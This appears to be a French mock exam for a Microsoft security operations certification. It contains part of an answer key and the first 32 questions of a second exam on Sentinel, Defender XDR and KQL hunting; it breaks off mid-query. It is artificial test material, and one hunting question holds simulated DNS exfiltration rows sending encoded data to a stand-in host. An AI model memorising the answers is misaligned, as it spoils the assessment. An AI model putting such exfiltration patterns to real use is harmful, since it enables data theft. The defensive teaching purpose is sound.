| 18 | **D** | Attack disruption = confinement natif automatique Defender XDR ; playbook = automatisation personnalisée Logic Apps.<br>Bonne(s) réponse(s) : L'interruption automatique est une capacité intégrée de Defender XDR qui contient automatiquement des actifs compromis (appareil, utilisateur) lors d'attaques à haute confiance, alors qu'un playbook est un workflow Logic Apps conçu et maintenu par le SOC. — détails : question n° 60 du guide. |

| N° | Réponse | Justification |
|---|---|---|
| 19 | **A** | Données de référence évolutives (VIP, actifs critiques, exclusions) = watchlist + `_GetWatchlist('alias')`.<br>Bonne(s) réponse(s) : Importer la liste comme watchlist et l'utiliser dans les requêtes des règles via `_GetWatchlist('alias')`, par exemple pour joindre sur le nom d'hôte et ajuster la gravité. — détails : question n° 67 du guide. |
| 20 | **D** | Inter-espaces : `workspace("nom").Table + union` ; l'accès dépend des droits sur chaque espace.<br>Bonne(s) réponse(s) : Utiliser `union` avec la fonction `workspace()` pour interroger la table SigninLogs de chaque espace dans la même requête. — détails : question n° 6 du guide. |
| 21 | **A** | Identité → actions Azure : SigninLogs.IPAddress ↔ AzureActivity.CallerIpAddress + fenêtre temporelle.<br>**Explication complémentaire :** **AzureActivity.CallerIpAddress** et **SigninLogs.IPAddress** relient l'authentification et les actions. La contrainte temporelle limite la corrélation à la période d'exploitation de la session.<br>Bonne(s) réponse(s) : ```kql — détails : question n° 248 du guide. |
| 22 | **B** | Exécuter sans modifier = Playbook Operator ; modifier = Logic App Contributor ; permettre à Sentinel d'appeler les playbooks = Automation Contributor (compte de service).<br>Bonne(s) réponse(s) : Microsoft Sentinel Playbook Operator. — détails : question n° 10 du guide. |
| 23 | **D** | DCSync depuis une machine non-DC = vol d'identifiants massif probable (dont krbtgt) → priorité maximale.<br>**Explication complémentaire :** **DCSync** (T1003.006) utilise les droits « Replicating Directory Changes (All) » pour demander à un DC les données de mots de passe via le protocole de réplication (DRSUAPI). Depuis une machine qui n'est pas un DC, c'est un indicateur fort de compromission d'un compte à privilèges.<br>Bonne(s) réponse(s) : Un acteur imite un contrôleur de domaine pour demander la réplication des secrets (hachages de mots de passe, dont celui de krbtgt), ce qui permet le vol massif d'identifiants et la création de Golden Tickets. — détails : question n° 138 du guide. |
| 24 | **C** | Vision d'ensemble d'une vague d'hameçonnage = Campaigns (MDO P2).<br>Bonne(s) réponse(s) : Les vues de campagnes (Campaigns). — détails : question n° 133 du guide. |
| 25 | **C** | Faux positif connu = règle de suppression ciblée (type d'alerte + entités + expiration).<br>Bonne(s) réponse(s) : Créer une règle de suppression d'alertes limitée au type d'alerte concerné, à l'IP du prestataire et éventuellement à une date d'expiration. — détails : question n° 377 du guide. |
| 26 | **C** | SQL sur VM : Defender for SQL (moteur SQL) + Defender for Servers (OS).<br>Bonne(s) réponse(s) : Defender for SQL servers on machines (plan Defender for SQL couvrant les serveurs SQL sur machines). — détails : question n° 391 du guide. |
| 27 | **B** | Abus d'API publiées via API Management = Defender for APIs.<br>Bonne(s) réponse(s) : Defender for APIs. — détails : question n° 401 du guide. |
| 28 | **B** | UEBA = paramètre à activer + synchronisation d'annuaire + sources ; résultats dans BehaviorAnalytics et IdentityInfo.<br>Bonne(s) réponse(s) : Activer l'UEBA dans les paramètres de Sentinel, synchroniser l'annuaire (Microsoft Entra ID et éventuellement Active Directory via Defender for Identity) et sélectionner les sources de données (par exemple journaux de connexion, journaux d'audit, Azure Activity, événements de sécurité). — détails : question n° 65 du guide. |
| 29 | **A** | Trop d'incidents pour une même attaque = regroupement d'alertes par entités.<br>Bonne(s) réponse(s) : Le regroupement des alertes en incidents par entités correspondantes (Host et Account) sur une fenêtre de quelques heures. — détails : question n° 425 du guide. |
| 30 | **D** | Exception temporaire et ciblée = règle d'automatisation (conditions précises + fermeture + expiration).<br>Bonne(s) réponse(s) : Une règle d'automatisation déclenchée à la création d'un incident, conditionnée à la règle d'analyse concernée et à l'entité IP 10.10.5.20, qui ferme l'incident avec la classification adéquate, et dotée d'une date d'expiration. — détails : question n° 51 du guide. |
| 31 | **B** | Menaces sur les applications d'IA générative = protection des charges d'IA de Defender for Cloud.<br>Bonne(s) réponse(s) : La protection contre les menaces pour les charges de travail d'IA (Defender for AI services). — détails : question n° 371 du guide. |
| 32 | **B** | Incident → alertes : mv-expand AlertIds puis jointure sur SystemAlertId (après arg_max).<br>Bonne(s) réponse(s) : ```kql — détails : question n° 241 du guide. |
| 33 | **C** | RDP exposé = supprimer l'exposition (VPN/MFA, Bastion, JIT) + LAPS ; changer le port ne suffit pas.<br>Bonne(s) réponse(s) : Supprimer l'exposition directe de RDP (accès via VPN/passerelle avec MFA ou accès juste-à-temps), et renforcer/gérer les comptes locaux (LAPS, mots de passe uniques). — détails : question n° 313 du guide. |

| N° | Réponse | Justification |
|---|---|---|
| 34 | C | Intégration ITSM = playbook Logic Apps + règle d'automatisation ; Logic Apps fournit les connecteurs.<br>Bonne(s) réponse(s) : Un playbook Logic Apps (déclencheur incident) utilisant le connecteur ServiceNow, lancé par une règle d'automatisation filtrée sur la gravité élevée, qui ajoute ensuite un commentaire à l'incident. — détails : question n° 59 du guide. |
| 35 | A | Préserver les données Microsoft 365 pour le juridique = conservation eDiscovery (Purview).<br>**Explication complémentaire :** Les **conservations eDiscovery** (Purview) préservent le contenu (y compris les éléments supprimés ou modifiés) des emplacements désignés tant que la conservation est active, ce qui garantit l'**intégrité des preuves** pour une procédure.<br>Bonne(s) réponse(s) : Une conservation (hold) dans un dossier Microsoft Purview eDiscovery, appliquée aux boîtes aux lettres et sites OneDrive concernés. — détails : question n° 329 du guide. |
| 36 | D | `bin(TimeGenerated, 1h)` pour les séries temporelles ; bin s'applique à des nombres ou des dates.<br>Bonne(s) réponse(s) : `bin()` doit s'appliquer à la colonne temporelle : `by UserPrincipalName, bin(TimeGenerated, 1h)` . — détails : question n° 212 du guide. |
| 37 | C | LOLBins (rundll32, mshta, regsvr32) + javascript:/script:http = exécution détournée (T1218).<br>Bonne(s) réponse(s) : La ligne de PC-44 : rundll32.exe exécutant du JavaScript via mshtml et chargeant un scriptlet distant. — détails : question n° 265 du guide. |
| 38 | D | Création (4720) puis ajout à un groupe (4732) rapprochés dans le temps = persistance par compte local.<br>**Explication complémentaire :** **4720** = création d'un compte utilisateur ; **4732** = ajout d'un membre à un groupe local de sécurité. La jointure par ordinateur, la contrainte temporelle `between (CreationTime ..<br>Bonne(s) réponse(s) : ```kql — détails : question n° 218 du guide. |
| 39 | A | Spraying réussi = dcountif(échecs) élevé + make_set_if(succès) non vide par IP.<br>**Explication complémentaire :** **dcountif()** compte les comptes distincts en échec (50126) ; **make_set_if()** collecte les comptes ayant réussi depuis la même IP. Le filtre final isole les IP qui ont pulvérisé **et** obtenu au moins un succès, cas prioritaire (compte probablement compromis).<br>Bonne(s) réponse(s) : ```kql — détails : question n° 226 du guide. |
| 40 | A, E | Automatisation fiable = identités managées à moindre privilège + traçabilité + gestion « as code ».<br>Bonne(s) réponse(s) : Utiliser des identités managées avec le moindre privilège et journaliser les actions des playbooks (commentaires dans l'incident). / Versionner et déployer les playbooks et règles d'automatisation via un dépôt (Repositories / CI-CD), avec tests sur un environnement de développement. — détails : question n° 451 du guide. |
| 41 | C | SPF/DKIM/DMARC en échec + domaine d'enveloppe étranger = usurpation ; vérifier les exceptions qui ont permis la remise.<br>Bonne(s) réponse(s) : Il s'agit très probablement d'une usurpation (spoofing) du domaine contoso.com ; il faut vérifier pourquoi le message a été remis (stratégie DMARC, exceptions ou règles de transport). — détails : question n° 291 du guide. |
| 42 | A | Fusion = ML multi-étapes, activé par défaut, logique non modifiable, peu d'incidents mais très fiables.<br>Bonne(s) réponse(s) : Elle s'appuie sur l'apprentissage automatique pour corréler des alertes et anomalies de faible fidélité provenant de plusieurs produits en incidents multi-étapes de haute fidélité ; elle est activée par défaut. — détails : question n° 44 du guide. |
| 43 | C | Exposition × activité = DeviceTvmSoftwareVulnerabilities ⋈ AlertEvidence sur DeviceId.<br>Bonne(s) réponse(s) : ```kqlx — détails : question n° 247 du guide. |
| 44 | A | Playbook jamais exécuté = autorisations du service Sentinel, déclencheur, conditions/expiration de la règle.<br>Bonne(s) réponse(s) : Les autorisations du compte de service Microsoft Sentinel (Microsoft Sentinel Automation Contributor) sur le groupe de ressources du playbook, et le type de déclencheur du playbook (incident). — détails : question n° 447 du guide. |
| 45 | B | Automatisation native sur alertes/recommandations Defender for Cloud = workflow automation (Logic Apps).<br>Bonne(s) réponse(s) : L'automatisation des workflows (workflow automation) de Defender for Cloud, qui déclenche une Logic App selon des conditions sur les alertes. — détails : question n° 378 du guide. |
| 46 | C, D | Exfiltration cloud personnelle = Cloud Discovery (MDCA/MDE) + audit Microsoft 365 + DLP.<br>Bonne(s) réponse(s) : Cloud Discovery / Defender for Cloud Apps (applications cloud utilisées et volumes de chargement depuis les postes MDE). / Les journaux Microsoft 365 (Purview Audit, CloudAppEvents) pour les téléchargements massifs depuis SharePoint/OneDrive avant le transfert. — détails : question n° 316 du guide. |
| 47 | A | Règle cachée = nom court + mots-clés financiers + RSS Feeds / suppression / lu.<br>Bonne(s) réponse(s) : La règle de s.lambert : nom « .. », mots-clés financiers, déplacement vers « RSS Feeds » et marquage comme lu. — détails : question n° 267 du guide. |

| N° | Réponse | Justification |
|---|---|---|
| 48 | **D** | « AUTO DISABLED » = échecs permanents ; corriger la cause, réactiver, et surveiller via SentinelHealth.<br>**Explication complémentaire :** Lorsqu'une règle planifiée échoue de façon **permanente** (erreur non transitoire répétée : table inexistante, fonction supprimée, autorisations perdues sur un espace interrogé…), Sentinel la **désactive automatiquement** et ajoute le préfixe **AUTO DISABLED** à son nom, avec la raison dans la description.<br>Bonne(s) réponse(s) : Sentinel a désactivé la règle après des échecs permanents d'exécution (par exemple une table ou une fonction supprimée, ou une perte d'accès à un espace cible). — détails : question n° 43 du guide. |
| 49 | **A** | Chasse avancée XDR = 30 jours par défaut ; pour plus, prolonger la rétention des tables XDR via Sentinel (Analytics ou data lake), à anticiper.<br>Bonne(s) réponse(s) : Configurer, dans la gestion des tables du portail Defender (Sentinel connecté), une rétention plus longue pour la table XDR concernée, dans le niveau Analytics ou data lake. — détails : question n° 27 du guide. |
| 50 | **A** | Bruit connu et légitime = alert tuning ciblé, jamais d'exclusion antivirus globale.<br>Bonne(s) réponse(s) : Créer une règle d'ajustement des alertes (alert tuning) qui masque ou résout automatiquement les alertes correspondant à des conditions précises (titre, appareils, ligne de commande ou processus parent). — détails : question n° 79 du guide. |

Le score obtenu à cet examen blanc est un indicateur d'entraînement : il ne constitue en aucun cas une prédiction du résultat à l'examen officiel, dont le format, la pondération et la notation (score minimal de 700 sur 1000) sont définis par Microsoft.

# Examen blanc n° 2

**Consignes :** 50 questions, durée conseillée 100 minutes, sans documentation. Notez vos réponses sur une feuille séparée, puis comparez-les au corrigé. Les questions à réponses multiples indiquent le nombre de réponses attendues. La répartition suit la pondération officielle du référentiel : 21 questions « Gérer un environnement d'opérations de sécurité », 18 « Répondre aux incidents de sécurité » et 11 « Effectuer la chasse aux menaces ».

### Examen 2 — Question 1 (Répondre aux incidents de sécurité)

Une stratégie MDCA détecte un téléchargement massif de fichiers SharePoint par un utilisateur dont le compte semble compromis. Quelle action de gouvernance de Defender for Cloud Apps augmente aussi son niveau de risque dans Entra ID Protection, déclenchant les stratégies d'accès conditionnel basées sur le risque ?

**A.** « Notifier l'utilisateur ».

**B.** « Appliquer une étiquette de confidentialité ».

**C.** « Confirmer que l'utilisateur est compromis » (Confirm user compromised).

**D.** « Supprimer le partage externe ».

### Examen 2 — Question 2 (Répondre aux incidents de sécurité)

Pourquoi une détection fondée sur les techniques de l'attaquant (TTP) est-elle généralement plus durable qu'une détection fondée uniquement sur des indicateurs (hachages, IP) ?

**A.** Parce que les hachages ne peuvent pas être recherchés en KQL.

**B.** Parce que les IOC sont interdits dans Microsoft Sentinel.

**C.** Parce que l'attaquant peut changer facilement de hachage ou d'adresse IP, alors que modifier ses techniques (par exemple sa façon de voler des identifiants ou de se déplacer) lui coûte beaucoup plus cher.

**D.** Parce que les TTP ne génèrent jamais de faux positifs.

### Examen 2 — Question 3 (Gérer un environnement d'opérations de sécurité)

Un chasseur de menaces doit exécuter des requêtes KQL interactives et des notebooks sur le data lake Microsoft Sentinel. Quelle affirmation sur le modèle d'autorisations est exacte ?

**A.** Le data lake n'est accessible qu'au rôle Propriétaire de l'abonnement Azure.

**B.** Le rôle Microsoft Sentinel Responder donne automatiquement le droit de créer des jobs KQL dans le data lake.

**C.** Le data lake utilise des rôles Microsoft Entra ID (RBAC Entra) en plus des rôles Azure de Sentinel, alors que le SIEM Sentinel repose sur le RBAC Azure.

**D.** Le data lake ne nécessite aucun rôle : tout utilisateur du portail Defender peut l'interroger.

### Examen 2 — Question 4 (Effectuer la chasse aux menaces)

**Scénario B (suite) :** la ligne de commande contient une longue chaîne Base64 après `-enc`. **Question :** quelle approche permet de lire la commande et d'en extraire d'autres IOC ?

**A.** Rechercher la chaîne Base64 sur Internet.

**B.** Supprimer la ligne de commande des journaux.

**C.** Convertir la chaîne en majuscules.

**D.** Extraire la chaîne avec `extract()` puis la décoder avec `base64_decode_tostring()` (en tenant compte de l'encodage UTF-16LE), ou utiliser l'analyse de script de Copilot dans Defender.

### Examen 2 — Question 5 (Gérer un environnement d'opérations de sécurité)

Après un incident de compromission, l'équipe craint le retour de l'attaquant via les mêmes infrastructures. Quelle mesure de surveillance est la plus efficace ?

**A.** Augmenter la rétention de toutes les tables à 12 ans.

**B.** Désactiver les alertes de faible gravité.

**C.** Créer des détections ciblées temporaires (règles analytiques ou détections personnalisées) sur les IOC et TTP observés (IP, domaines, hachages, comptes, techniques) avec une gravité élevée, et une liste de surveillance des actifs touchés.

**D.** Relancer un audit de conformité.

### Examen 2 — Question 6 (Répondre aux incidents de sécurité)

MDI lève « Suspected identity theft (pass-the-hash) » : un hachage NTLM d'un administrateur est utilisé depuis un poste où cet administrateur ne s'est jamais connecté. Quelles mesures de remédiation sont pertinentes ? (Sélectionnez deux réponses.)

**Sélectionnez deux réponses.**

**A.** Ignorer l'alerte si l'administrateur est en congé.

**B.** Augmenter la longueur des noms d'utilisateur.

**C.** Réduire l'exposition des identifiants : limiter les connexions d'administrateurs sur les postes (modèle de niveaux), Credential Guard, LAPS, groupe Protected Users.

**D.** Réinitialiser le mot de passe du compte dont le hachage est utilisé et investiguer le poste source (vol de LSASS).

**E.** Activer NTLMv1 pour la compatibilité.

### Examen 2 — Question 7 (Gérer un environnement d'opérations de sécurité)

Un analyste N1 doit pouvoir consulter les processus et connexions d'un appareil via Live Response, mais ne doit jamais télécharger de fichiers ni exécuter de scripts. Comment configurer ses droits ?

**A.** Lui attribuer un rôle personnalisé n'autorisant que les commandes Live Response de base (sans la permission « advanced »).

**B.** Lui attribuer le rôle Administrateur général Entra.

**C.** Activer « Live response unsigned script execution ».

**D.** Désactiver Live Response dans les fonctionnalités avancées.

### Examen 2 — Question 8 (Effectuer la chasse aux menaces)

**Scénario G (suite) :** vous devez lister les fichiers téléchargés par l'utilisateur depuis SharePoint/OneDrive au cours des 14 derniers jours, avec les volumes par site. **Question :** quelle requête est la plus adaptée ?

**A.**

REQUÊTE KQL

```
DeviceLogonEvents
| where Timestamp > ago(14d)
| where AccountName == "jfabre"
```

**B.**

REQUÊTE KQL

```
CloudAppEvents
| where Timestamp > ago(14d)
| summarize count() by Application
```

**C.**

REQUÊTE KQL

```
CloudAppEvents
| where Timestamp > ago(14d)
| where AccountDisplayName == "Julien Fabre"
| where ActionType in ("FileDownloaded", "FileSyncDownloadedFull")
| extend Site = tostring(RawEventData.SiteUrl), Fichier = tostring(RawEventData.SourceFileName)
| summarize Fichiers = dcount(Fichier), Liste = make_set(Fichier, 50) by Site, bin(Timestamp, 1d)
```

**D.**

REQUÊTE KQL

```
EmailEvents
| where Timestamp > ago(14d)
| where SenderFromAddress has "julien"
```

### Examen 2 — Question 9 (Gérer un environnement d'opérations de sécurité)

Toutes les alertes d'une règle s'intitulent « Accès suspect à un partage ». Les analystes veulent que le titre contienne le nom de l'ordinateur et du compte concernés, par exemple « Accès suspect à un partage par jdupont sur SRV-FIC01 ». Quelle fonctionnalité utiliser ?

**A.** Une watchlist contenant les titres souhaités.

**B.** Les détails personnalisés (custom details) uniquement.

**C.** Le remplacement des détails d'alerte (alert details override), avec un format de nom d'alerte contenant des paramètres tels que `{{SubjectUserName}}` et `{{Computer}}`.

**D.** Une règle d'automatisation qui renomme l'alerte.

### Examen 2 — Question 10 (Effectuer la chasse aux menaces)

**Scénario I (suite) :** parmi les secrets lus figurait une clé de compte de stockage. **Question :** comment vérifier si elle a été utilisée par l'attaquant ?

**A.** Examiner les journaux de ressources du compte de stockage (StorageBlobLogs) pour les accès authentifiés par clé de compte depuis des IP inhabituelles après l'heure de lecture du secret.

**B.** Consulter Heartbeat.

**C.** Vérifier le Secure Score.

**D.** Examiner uniquement SigninLogs, car tout accès au stockage passe par une connexion Entra ID.

### Examen 2 — Question 11 (Répondre aux incidents de sécurité)

Plusieurs utilisateurs ont accordé à une application « PDF Converter Pro » l'accès à leur messagerie après un e-mail d'hameçonnage. Selon le guide Microsoft de réponse aux octrois de consentement d'application, quelles actions sont prioritaires ?

A. Bloquer le domaine de l'expéditeur uniquement.

B. Réinitialiser les mots de passe des utilisateurs et considérer l'incident clos.

C. Demander aux utilisateurs de désinstaller l'application de leur poste.

D. Identifier l'application et les utilisateurs ayant consenti, révoquer les autorisations (supprimer les octrois de consentement et désactiver ou supprimer le principal de service), puis restreindre le consentement des utilisateurs.

### Examen 2 — Question 12 (Gérer un environnement d'opérations de sécurité)

Votre locataire utilise le RBAC unifié de Microsoft Defender (URBAC). Un analyste doit pouvoir consulter et gérer les incidents (y compris les « cas d'incident ») mais pas modifier les paramètres de sécurité. Quelle autorisation URBAC est la plus appropriée ?

A. « Security data » en lecture et gestion (Security Data Read / Security Data Manage) dans le groupe d'autorisations Opérations de sécurité.

B. Le rôle Microsoft Entra Global Administrator.

C. « Security settings » (gestion des paramètres) uniquement.

D. « Data (manage) » dans le groupe Opérations de données.

### Examen 2 — Question 13 (Gérer un environnement d'opérations de sécurité)

Un compte de service critique pour la production a été désactivé à tort par l'interruption automatique d'attaque à cause d'un comportement atypique mais légitime. Comment éviter que cela se reproduise, sans désactiver la fonctionnalité pour le reste du locataire ?

A. Supprimer le compte et le recréer.

B. Passer tous les groupes d'appareils en « No automated response ».

C. Ajouter le compte aux exclusions de l'interruption automatique d'attaque (exclusion d'identité), après validation que son comportement est légitime.

D. Désactiver Defender for Identity.

### Examen 2 — Question 14 (Gérer un environnement d'opérations de sécurité)

Vous voulez maximiser l'efficacité de l'interruption automatique d'attaque contre les rançongiciels opérés par des humains. Quelles configurations sont recommandées ? (Sélectionnez deux réponses.)

**Sélectionnez deux réponses.**

A. Configurer tous les groupes d'appareils en « No automated response ».

B. Supprimer tous les comptes de service.

C. Désactiver l'antivirus Microsoft Defender au profit d'un pare-feu tiers.

D. Déployer Defender for Identity sur les contrôleurs de domaine (pour permettre les actions sur les comptes Active Directory, comme la désactivation de l'utilisateur).

E. Déployer Defender for Endpoint avec la découverte des appareils et le mode bloc EDR / la protection contre les falsifications, sur un maximum d'appareils.

### Examen 2 — Question 15 (Répondre aux incidents de sécurité)

**Scénario A (suite) :** après le confinement, une nouvelle alerte signale l'accès à la boîte de l.benoit par une application inconnue. **Question :** quelle vérification aurait dû faire partie de l'éradication ?

**A.** L'inventaire des applications ayant reçu un consentement de l'utilisatrice (et des secrets/identifiants d'application ajoutés) pendant la compromission, avec révocation des octrois illégitimes.

**B.** La réinstallation du poste de l'utilisatrice.

**C.** La suppression de toutes les applications d'entreprise du locataire.

**D.** La désactivation de Safe Links.

### Examen 2 — Question 16 (Effectuer la chasse aux menaces)

**Hypothèse de chasse :** des données sont exfiltrées par des requêtes DNS à longs sous-domaines. Sur les requêtes simulées, quel domaine est signalé ?

KQL — MICROSOFT SENTINEL / LOG ANALYTICS

```
let Dns = datatable(TimeGenerated:datetime, ClientIP:string, Name:string)
[
    datetime(2026-10-05T10:00:00Z), "10.0.4.25",
"4a6f75726e616c2d636f6d707461626c652d32303236.x7.exfil-data.net",
    datetime(2026-10-05T10:00:01Z), "10.0.4.25",
"6d6f74732d64652d70617373652d61646d696e2d7631.x8.exfil-data.net",
    datetime(2026-10-05T10:00:02Z), "10.0.4.25",
"636c69656e74732d7072656d69756d2d6c697374652d.x9.exfil-data.net",
    datetime(2026-10-05T10:05:00Z), "10.0.4.30", "www.contoso.com",
    datetime(2026-10-05T10:06:00Z), "10.0.4.31", "login.microsoftonline.com"
];
Dns
| extend Parties = split(Name, ".")
| extend Domaine = strcat(tostring(Parties[-2]), ".", tostring(Parties[-1])), LongueurSousDomaine =
strlen(tostring(Parties[0]))
| summarize Requetes = count(), LongueurMoy = avg(LongueurSousDomaine), SousDomaines = dcount(Name) by
ClientIP, Domaine
| where LongueurMoy > 30 and SousDomaines >= 3
```

**A.** microsoftonline.com.

**B.** Aucun, car `split` ne fonctionne pas sur les noms de domaine.

**C.** exfil-data.net, interrogé par 10.0.4.25 avec des sous-domaines d'environ 44 caractères, tous différents.

**D.** contoso.com.

### Examen 2 — Question 17 (Gérer un environnement d'opérations de sécurité)

L'équipe RH doit pouvoir interroger uniquement la table OfficeActivity d'un espace Sentinel partagé, sans voir SecurityEvent ni SigninLogs. Quelle approche répond au besoin sans créer de nouvel espace ?

**A.** Configurer un contrôle d'accès au niveau table (table-level RBAC), via un rôle personnalisé ou l'attribution de droits de lecture limités aux tables autorisées.

**B.** Placer la table OfficeActivity en plan Basic.

**C.** Créer une règle d'automatisation qui masque les autres tables pour ce groupe.

**D.** Attribuer le rôle Microsoft Sentinel Reader sur l'espace.

### Examen 2 — Question 18 (Gérer un environnement d'opérations de sécurité)

Le SOC veut que chaque incident de type « Hameçonnage » affiche automatiquement une liste de contrôle d'investigation (vérifier les destinataires, rechercher les clics, purger les messages, réinitialiser les mots de passe). Quelle fonctionnalité utiliser ?

**A.** Un classeur affiché dans chaque incident.

**B.** Les détails personnalisés de la règle d'analyse.

**C.** Une watchlist de procédures.

**D.** Une règle d'automatisation avec l'action « Ajouter une tâche », conditionnée aux incidents d'hameçonnage.

### Examen 2 — Question 19 (Répondre aux incidents de sécurité)

MDE détecte un « beacon » Cobalt Strike sur un serveur. Quelle démarche permet d'identifier rapidement les autres systèmes infectés ?

**A.** Réinstaller le seul serveur détecté.

**B.** Extraire les indicateurs (hachage du binaire/DLL, IP et domaines de C2, nom de canal nommé, ligne de commande) et les rechercher dans tout le parc via la chasse avancée, puis isoler les appareils trouvés.

**C.** Attendre que d'autres alertes se déclenchent.

**D.** Bloquer tout le trafic HTTPS sortant de l'entreprise.

### Examen 2 — Question 20 (Gérer un environnement d'opérations de sécurité)

Après la mise en place d'un redirecteur Linux avec AMA, les mêmes événements de pare-feu apparaissent à la fois dans Syslog et dans CommonSecurityLog, doublant les coûts. Quelle est la cause la plus probable ?

**A.** Le connecteur Microsoft Defender XDR réplique les journaux de pare-feu.

**B.** Deux DCR (Syslog via AMA et CEF via AMA) collectent la même facilité Syslog sur le même redirecteur.

**C.** Le pare-feu envoie chaque message deux fois en UDP.

**D.** La table CommonSecurityLog est en plan Basic.

### Examen 2 — Question 21 (Gérer un environnement d'opérations de sécurité)

Une règle analytique Sentinel détecte des « connexions depuis des IP Tor » mais génère chaque jour des incidents pour les adresses d'un fournisseur VPN d'entreprise mal classées comme Tor. Quelle est la meilleure correction durable ?

**A.** Désactiver définitivement la règle.

**B.** Réduire la gravité de la règle à « Informationnel ».

**C.** Fermer manuellement chaque incident comme faux positif.

**D.** Corriger la règle : exclure les plages IP du VPN d'entreprise via une watchlist référencée dans la requête, puis documenter la modification.

### Examen 2 — Question 22 (Effectuer la chasse aux menaces)

**Besoin de détection :** alerter sur les connexions réussies depuis un pays jamais utilisé par l'utilisateur au cours des 14 jours précédents. Quelle requête implémente cette logique de référence (baseline) ?

**A.**

REQUÊTE KQL

```
SigninLogs
| where TimeGenerated > ago(1d)
| where Location != "FR"
```

**B.**

REQUÊTE KQL

```
let historique = SigninLogs
| where TimeGenerated between (ago(15d) .. ago(1d))
| where ResultType == "0"
| summarize PaysConnus = make_set(Location) by UserPrincipalName;
SigninLogs
| where TimeGenerated > ago(1d)
| where ResultType == "0"
| join kind=inner historique on UserPrincipalName
| where not(set_has_element(PaysConnus, Location))
| project TimeGenerated, UserPrincipalName, Location, IPAddress, AppDisplayName
```

**C.**

REQUÊTE KQL

```
SigninLogs
| where TimeGenerated > ago(1d)
| where ResultType != "0"
| summarize count() by Location
```

**D.**

REQUÊTE KQL

```
SigninLogs
| where TimeGenerated > ago(14d)
| summarize dcount(Location) by UserPrincipalName
```

## Examen 2 — Question 23 (Répondre aux incidents de sécurité)

Vous créez un compte « adm_backup_old » jamais utilisé, avec un nom attractif, pour détecter les attaquants. Comment exploiter MDI pour être alerté si quelqu'un tente de l'utiliser ?

**A.** Marquer le compte avec la balise « Honeytoken » dans Defender for Identity ; toute authentification ou activité sur ce compte déclenche une alerte.

**B.** Désactiver la journalisation des connexions pour ce compte.

**C.** Créer une watchlist Sentinel contenant le nom du compte, sans autre configuration.

**D.** Ajouter le compte au groupe Admins du domaine.

## Examen 2 — Question 24 (Gérer un environnement d'opérations de sécurité)

**Scénario H (suite) :** une règle planifiée toutes les 5 minutes sur des journaux de proxy tiers rate régulièrement des événements que l'on retrouve plus tard en chasse manuelle. **Question :** quelle est la cause la plus probable et la correction ?

**A.** Le proxy envoie des données chiffrées illisibles.

**B.** Les règles planifiées ignorent les tables personnalisées.

**C.** Une erreur de l'opérateur `where`.

**D.** Un délai d'ingestion supérieur à la fenêtre de la règle ; élargir la fenêtre de recherche (fréquence + délai) et filtrer sur `ingestion_time()` pour éviter les doublons.

### Examen 2 — Question 25 (Gérer un environnement d'opérations de sécurité)

Un analyste interroge la table SecurityIncident pour compter les incidents fermés au cours du mois et obtient un nombre bien supérieur au nombre réel d'incidents. Quelle est la cause la plus probable ?

**A.** La table SecurityIncident contient aussi toutes les alertes Defender for Endpoint.

**B.** Les incidents fermés sont recréés chaque jour par les règles d'analyse.

**C.** La table SecurityIncident est en plan Basic et renvoie des doublons.

**D.** Chaque modification d'un incident ajoute une nouvelle ligne dans SecurityIncident ; il faut ne conserver que la dernière version de chaque incident (par exemple avec `arg_max`).

### Examen 2 — Question 26 (Répondre aux incidents de sécurité)

Le SOC veut suivre dans le portail Defender un travail qui ne correspond pas à un incident (par exemple une campagne de durcissement suite à un audit), avec tâches, propriétaires, pièces jointes et SLA. Quelle fonctionnalité utiliser ?

**A.** Les cas génériques (generic cases) de la gestion des cas du portail Defender.

**B.** Les règles d'analyse NRT.

**C.** Les watchlists.

**D.** Les recommandations du Secure Score uniquement.

### Examen 2 — Question 27 (Répondre aux incidents de sécurité)

Un attaquant crée une règle de boîte de réception qui transfère automatiquement les e-mails vers une adresse externe. Quelle technique ATT&CK correspond ?

**A.** T1059.001 – PowerShell.

**B.** T1490 – Inhibit System Recovery.

**C.** T1114.003 – Email Collection : Email Forwarding Rule (tactique Collection).

**D.** T1566.002 – Spearphishing Link.

### Examen 2 — Question 28 (Gérer un environnement d'opérations de sécurité)

Un indicateur « Bloquer et corriger » sur un hachage SHA256 ne bloque pas le fichier sur certains appareils Windows. Quel prérequis est le plus probablement absent sur ces appareils ?

**A.** L'antivirus Microsoft Defender n'est pas en mode actif (par exemple mode passif à cause d'un antivirus tiers) ou la protection cloud est désactivée.

**B.** Le connecteur Defender for Cloud Apps est désactivé.

**C.** La table DeviceFileEvents n'est pas ingérée dans Sentinel.

**D.** L'appareil n'est pas membre d'un groupe Microsoft Entra dynamique.

### Examen 2 — Question 29 (Gérer un environnement d'opérations de sécurité)

Une multinationale a des équipes SOC régionales qui ne doivent voir que les incidents de leurs appareils. Elle constate que des incidents regroupent des alertes d'appareils de régions différentes. Quelle fonctionnalité avancée de MDE répond au besoin ?

**A.** « Download quarantined files ».

**B.** « Show user details ».

**C.** « Automatically resolve alerts ».

**D.** « Restrict correlation to within scoped device groups » (restreindre la corrélation aux groupes d'appareils de l'étendue).

### Examen 2 — Question 30 (Gérer un environnement d'opérations de sécurité)

**Scénario J (suite) :** une détection personnalisée Defender XDR isole automatiquement tout appareil exécutant `psexec.exe`. Un matin, 60 serveurs sont isolés lors d'un déploiement légitime de l'équipe d'exploitation.
**Question :** quelle correction est la plus adaptée ?

**A.** Supprimer définitivement toutes les détections personnalisées.

**B.** Affiner la requête (exclure les comptes et serveurs de déploiement légitimes, cibler des combinaisons suspectes), et réserver l'isolation automatique aux détections à très haute confiance ; libérer les serveurs après vérification.

**C.** Garder la règle telle quelle, la sécurité prime sur la production.

**D.** Désactiver Defender for Endpoint sur les serveurs.

### Examen 2 — Question 31 (Gérer un environnement d'opérations de sécurité)

La table CommonSecurityLog contient une colonne AdditionalExtensions très volumineuse, jamais utilisée par les détections. Comment réduire le coût d'ingestion tout en conservant les autres colonnes ?

**A.** Réduire la rétention de CommonSecurityLog à 30 jours.

**B.** Supprimer la table puis la recréer chaque nuit.

**C.** Ajouter une transformation au moment de l'ingestion (transformKql) dans la DCR, par exemple `source | project-away AdditionalExtensions`.

**D.** Utiliser `project-away AdditionalExtensions` dans toutes les règles d'analyse.

### Examen 2 — Question 32 (Effectuer la chasse aux menaces)

**Hypothèse de chasse :** un attaquant ajoute un secret à une application à privilèges pour persister (T1098.001). Quelle requête renvoie l'opération et son auteur à partir de ces événements d'audit simulés ?

KQL — MICROSOFT SENTINEL / LOG ANALYTICS

```
let Audit = datatable(TimeGenerated:datetime, OperationName:string, Result:string,
InitiatedBy:dynamic, TargetResources:dynamic)
[
